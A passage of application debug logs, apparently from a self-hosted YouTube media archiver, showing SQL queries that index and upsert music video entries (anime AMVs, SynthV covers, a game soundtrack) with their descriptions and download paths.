#kasaneteto #teto #abba #cover", "The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】", "Ggs7y9-X83s", 298, false, "https://www.youtube.com/watch?v=Ggs7y9-X83s", "/downloads/Nightcore/Nightcore/2026-05-17The Winner Takes it All REMASTER【Kasane Teto SV2 Cover】[Ggs7y9-X83s].m4a", false, 1, ~U[2026-05-17 15:39:14Z]] 22:23:25.606 [debug] QUERY OK source="sources" db=0.3ms idle=138.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.607 [debug] QUERY OK source="media_items" db=0.5ms idle=138.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-09-22 14:12:09Z], 1] 22:23:25.710 [debug] QUERY OK source="media_items" db=103.1ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "[AMV] SUPER RISER! 「Do You Remember Love?」", "6240c244-f0c9-4fc2-8dac-3821e7fb0aa8", false, "srnyVw-OR0g", 246, false, "https://www.youtube.com/watch?v=srnyVw-OR0g", 10, "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", false, false, 1, [], 1, ~U[2015-09-22 14:12:09Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "[AMV] SUPER RISER! 「Do You Remember Love?」", "srnyVw-OR0g", 246, false, "https://www.youtube.com/watch?v=srnyVw-OR0g", "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", false, 1, ~U[2015-09-22 14:12:09Z]] 22:23:25.711 [debug] QUERY OK source="sources" db=0.1ms idle=104.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.711 [debug] QUERY OK source="media_items" db=0.1ms idle=104.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-20 21:23:03Z], 1] 22:23:25.929 [debug] QUERY OK source="media_items" db=217.4ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "rises the moon", "7ed6bcf5-b58f-4b79-a66e-cfa93101071a", false, "5b2MFJMeonI", 97, false, "https://www.youtube.com/watch?v=5b2MFJMeonI", 12, "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", false, false, 1, [], 1, ~U[2024-07-20 21:23:03Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "rises the moon", "5b2MFJMeonI", 97, false, "https://www.youtube.com/watch?v=5b2MFJMeonI", "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", false, 1, ~U[2024-07-20 21:23:03Z]] 22:23:25.930 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=218.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:25.930 [debug] QUERY OK source="media_items" db=0.1ms idle=218.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-08 20:38:34Z], 1] 22:23:26.104 [debug] QUERY OK source="media_items" db=172.8ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and producer. \nHer journey on YouTube started over a decade ago, initially with a german cover of \nthe first ATTACK ON TITAN opening that has ever since been deleted. \nNow, jen dedicates her free time to cover a vast variety of songs, spanning across \nmultiple different genre and media - creating more than 200 individual covers in \nenglish, german or even japanese.\n\n#guiltygearstrive #elphelt #citypop #cover\n\n________________________________________\n\nUsed footage:\nPlush gif (neutral): https://tenor.com/de/view/elphelt-valentine-elphelt-plush-elphelt-guilty-gear-plush-gif-12574333055562978112\nPlush gif (chaotic evil): https://tenor.com/view/elphelt-valentine-gif-7989070447292889832\nRocking left to right: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-8496196420083477691\nLetter: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-12959554312710383613\nHappy Elphelt: https://tenor.com/de/view/ggst-elphelt-elphelt-valentine-guilty-gear-guilty-gear--strive--gif-15774969657406111103\nBald Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-bald-guilty-gear-guilty-gear-strive-gif-14788147135320327257\nBreakdancing Elphelt: https://tenor.com/de/view/elphelt-valentine-elphelt-guilty-gear-ggst-guilty-gear-strive-gif-17200802074161048131\nAspahlt: https://tenor.com/de/view/guilty-gear-elphelt-elphelt-valentine-gif-4481130338022856968\nSleeping Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-elphelt-sleep-elphelt-valen" <> ..., "EXTRAS (City Pop Cover)「Guilty Gear -Strive-」/ ver.jen", "c54d6294-16cd-4719-9ed6-806f4858a9a0", false, "ILef5RTqdYs", 368, false, "https://www.youtube.com/watch?v=ILef5RTqdYs", 13, "/downloads/Nightcore/Nightcore/2025-07-08EXTRAS (City Pop Cover)「Guilty Gear -Strive-」⧸ ver.jen[ILef5RTqdYs].m4a", false, false, 1, [], 1, ~U[2025-07-08 20:38:34Z], ~U[2026-07-24 02:23:25Z], ~U[2026-07-24 02:23:25Z], "✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and produc (truncated) 22:23:26.104 [debug] QUERY OK source="sources" db=0.3ms idle=174.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.105 [debug] QUERY OK source="media_items" db=0.1ms idle=174.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 12:27:06Z], 1] 22:23:26.256 [debug] QUERY OK source="media_items" db=151.1ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "15506d53-4df4-4787-9f85-452f4bc98804", false, "LpNVf8sczqU", 222, false, "https://www.youtube.com/watch?v=LpNVf8sczqU", 14, "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", false, false, 1, [], 1, ~U[2025-05-02 12:27:06Z], ~U[2026-07-24 02:23:26Z], ~U[2026-07-24 02:23:26Z], "Clair Obscur: Expedition 33 (Original Soundtrack) - Lumière\nComposed by Lorien Testard ft. Alice Duport-Percier\nOrchestral performance by Orchestre Curieux.\n\n🎧 Listen to the full soundtrack on all platforms:\nhttps://lnk.to/clair-obscur-expedition-33\n\n🎮 Clair Obscur: Expedition 33 available now: \nhttps://www.expedition33.com/linkhub\n\nLyrics:\nDim dam talé lam vacarme\nS'en va dans Lumi éternam\nEt Gustave dôme guardéam\nDilim dili lili lam\nLutece séra\nDolilom séram\n\nDim dim dam dada dim dim da dada dim da lilam\nDim dim dam dada dim dim da dada dam di didam\n\nDans là-haut\nSera ravi\nLes toits à ce Renoir\nGriffera\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nAu Clair-Obscur\nTrouble rature\nClair-Obscur\nGuardéo peinture\n\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\nClair-Obscur\nTrouble de rature, courbera Eiffel\nClair-Obscur\nGuardéo peinture, trouvera sans elle\n\nCredits:\nComposer: Lorien Testard ft. Alice Duport-Percier\nSinger: Alice Duport-Percier \nBacking Vocal : Axelle Verner\nLyrics: Lorien Testard\n\nOrchestral Recording: Orchestre Curieux\nConductor & Orchestral Arrangement: Daniel Sicard\nPiano: Orane Donnadieu\nViolin I: Claire Theobald\nViolin II: Mariane Minjou\nViola: Pierre-Pascal Jean\nCello I: Pauline Boudon\nCello II: Alec Fukuda\nDouble Bass: Lilas Berault\nSound Engineer: Aurélien Bourgois\nChoir Conductor: Victor Rouanet\nChoir: Marie-Cécile Henry Brossard, Céleste Lejeune, Annabelle Daguise, Axelle Verner, Gaël Martin, Fabrice Foison, Alexandre Artemenko, Maxime Saïu\n\nDirection & Editing: Daniel Sicard\nDirector of Photography: Louis Bergogné\nGaffer: Hugo Bellemin\nElectrician: Camille Schuster\nAdditional Electrician: Léonie Roger\nCamera Assistant: Grégoire Kappes\n2nd Camera Assistant: Roxane Bougeot\nSteadicam Operator: Pierre-Louis Bertrand\nCatering: Miches à Micha & Les Marmites Volantes\nProduction Coordinator: Julie Manoukian \nProduction Assistant: Clément Pottier\n\nSpecial thanks to the Sandfall Interactive and Kepler Interactive teams.", "Clair Obscur: Expedition 33 | Lumière [Official Music Video]", "LpNVf8sczqU", 222, false, "https://www.youtube.com/watch?v=LpNVf8sczqU", "/downloads/Nightcore/Nightcore/2025-05-02Clair Obscur: Expedition 33 | Lumière [Official Music Video][LpNVf8sczqU].m4a", false, 1, ~U[2025-05-02 12:27:06Z]] 22:23:26.257 [debug] QUERY OK source="sources" db=0.1ms idle=152.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.257 [debug] QUERY OK source="media_items" db=0.1ms idle=152.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-08 15:15:11Z], 1] 22:23:26.317 [debug] QUERY OK source="media_profiles" db=930.4ms idle=39.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:23:26.319 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=60.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:26.320 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=61.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:26.458 [debug] QUERY OK source="media_items" db=140.0ms queue=0.8ms idle=60.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "cde6e872-3115-4fa5-ad08-aa014ecc80b9", false, "t3Mp4jnJnfg", 197, false, "https://www.youtube.com/watch?v=t3Mp4jnJnfg", 15, "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", false, false, 1, [], 1, ~U[2023-05-08 15:15:11Z], ~U[2026-07-24 02:23:26Z], ~U[2026-07-24 02:23:26Z], "finally full cover!! 🌹\ncover by @LeshyP (main channel for my original songs and some covers, let's subscribe 😊 this is so appreciated)\nVocals - Kasane Teto AI (Mellow)\n\n🌺 VK: https://vk.com/leshy_music\n🌺 Twitter: https://twitter.com/leshymusic\n🌺 Telegram: https://t.me/leshy_forest\n🌺 TikTok: tiktok.com/@leshy_music\n🌺 Bandcamp: https://leshymusic.bandcamp.com/\n🌺 Spotify: https://open.spotify.com/artist/5kPgTEsQTICRPT6vUDytyZ?si=4pXOrSAeRjSuuF9YEaKBHw\n🌺 Yandex Music: https://music.yandex.ru/artist/17286904?utm_medium=copy_link\n🌺 Music: https://bnd.lc/leshy_music\n🌺 SVP: https://t.me/svp_b\n#KasaneTetoAI #重音テトAI #SynthV_Teto\n#synthv #kasanetetoai #重音テトai", "【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP", "t3Mp4jnJnfg", 197, false, "https://www.youtube.com/watch?v=t3Mp4jnJnfg", "/downloads/Nightcore/Nightcore/2023-05-08【Kasane Teto AI】fly me to the moon【SynthV COVER】+SVP[t3Mp4jnJnfg].m4a", false, 1, ~U[2023-05-08 15:15:11Z]] 22:23:26.459 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=140.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:26.460 [debug] QUERY OK source="media_items" db=0.5ms idle=141.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2008-08-03 23:22:17Z], 1] 22:23:26.608 [debug] QUERY OK source="media_items" db=146.5ms idle=140.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 